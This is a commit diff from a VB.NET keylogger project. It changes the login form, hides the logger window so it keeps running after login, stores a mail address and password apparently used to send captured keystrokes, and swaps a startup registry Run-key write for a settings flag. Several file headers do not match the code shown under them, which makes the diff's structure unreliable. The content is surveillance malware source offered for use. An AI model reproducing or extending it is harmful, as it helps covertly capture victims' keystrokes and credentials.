Various Bug Fixes

Author: PSNAppz

KeyLogger/App.config

@@ -28,6 +28,9 @@
             <setting name="time" serializeAs="String">
                 <value>0</value>
             </setting>
+            <setting name="log" serializeAs="String">
+                <value>0</value>
+            </setting>
         </KeyLogger.My.MySettings>
     </userSettings>
 </configuration>

KeyLogger/Form1.Designer.vb

@@ -24,7 +24,7 @@
     <UpdateRequired>false</UpdateRequired>
     <MapFileExtensions>true</MapFileExtensions>
     <WebPage>publish.htm</WebPage>
-    <ApplicationRevision>5</ApplicationRevision>
+    <ApplicationRevision>6</ApplicationRevision>
     <ApplicationVersion>1.1.0.%2a</ApplicationVersion>
     <UseApplicationTrust>false</UseApplicationTrust>
     <PublishWizardCompleted>true</PublishWizardCompleted>
@@ -74,6 +74,9 @@
   <PropertyGroup>
     <SignManifests>true</SignManifests>
   </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationIcon>hqdefault.ico</ApplicationIcon>
+  </PropertyGroup>
   <ItemGroup>
     <Reference Include="System" />
     <Reference Include="System.Data" />
@@ -189,6 +192,9 @@
       <Install>false</Install>
     </BootstrapperPackage>
   </ItemGroup>
+  <ItemGroup>
+    <Content Include="hqdefault.ico" />
+  </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
   <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
        Other similar extension points exist, see Microsoft.Common.targets.

KeyLogger/KeyLogger.vbproj

@@ -46,7 +46,8 @@
             If TextBox1.Text = My.Settings.USER And TextBox2.Text = My.Settings.PASSWORD Then
                 Errorlbl.Text = "Login Succesful!"
                 controlpanel.Show()
-                Me.Close()
+
+                Me.Hide()
             End If
         End If
     End Sub
@@ -55,7 +56,10 @@
 
     End Sub
     Private Sub Menu_Load(sender As Object, e As EventArgs) Handles MyBase.Load
-
+        If My.Settings.log = 1 Then
+            Form1.Show()
+            Form1.Hide()
+        End If
     End Sub
 
     Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click

KeyLogger/Menu.vb

@@ -20,5 +20,8 @@
     <Setting Name="time" Type="System.Int32" Scope="User">
       <Value Profile="(Default)">0</Value>
     </Setting>
+    <Setting Name="log" Type="System.Int32" Scope="User">
+      <Value Profile="(Default)">0</Value>
+    </Setting>
   </Settings>
 </SettingsFile>

KeyLogger/My Project/Settings.Designer.vb

@@ -1,8 +1,11 @@
-Public Class controlpanel
+Imports Microsoft.Win32
+
+Public Class controlpanel
 
     Dim drag As Boolean
     Dim mousex As Integer
     Dim mousey As Integer
+    Dim regKey As Microsoft.Win32.RegistryKey
 
     Private Sub Form1_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseDown
         drag = True
@@ -25,7 +28,6 @@
 
 
     Private Sub controlpanel_Load(sender As Object, e As EventArgs) Handles MyBase.Load
-        Button2.Enabled = False
         TextBox1.Text = "User Name:     " + Environment.UserName.ToString
         TextBox1.Text = TextBox1.Text + vbNewLine + "Computer Name:     " + Environment.MachineName.ToString
         TextBox1.Text = TextBox1.Text + vbNewLine + "Screen:     " + My.Computer.Screen.WorkingArea.ToString
@@ -34,14 +36,19 @@
         TextBox1.Text = TextBox1.Text + vbNewLine + "Remain Physical Memory:     " + My.Computer.Info.AvailablePhysicalMemory.ToString
         Label1.Text = "Welcome, " + My.Settings.USER
         TextBox4.Refresh()
+        If My.Settings.log = 1 Then
+            CheckBox1.Checked = True
+            Button1.Enabled = False
+        Else
+            Button2.Enabled = False
+        End If
         If My.Settings.mailpass = vbNullString Then
             Label9.Visible = True
         End If
     End Sub
 
 
     Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
-        Form1.Close()
         Me.Close()
 
     End Sub
@@ -61,9 +68,6 @@
         Button2.Enabled = True
     End Sub
 
-    Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs)
-
-    End Sub
 
     Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
 
@@ -86,10 +90,13 @@
         If Not (TextBox3.Text = vbNullString) And Not (TextBox2.Text = vbNullString) Then
             'Run on Startup if Checkbox is checked
             If CheckBox1.Checked Then
-                My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
+                My.Settings.log = 1
+                My.Settings.Save()
             Else
-                My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue(Application.ProductName)
-
+                If Not (My.Settings.log = 0) Then
+                    My.Settings.log = 0
+                    My.Settings.Save()
+                End If
             End If
             My.Settings.mail = TextBox3.Text
             My.Settings.mailpass = TextBox2.Text
@@ -106,8 +113,5 @@
     End Sub
 
 
-
-
-
 End Class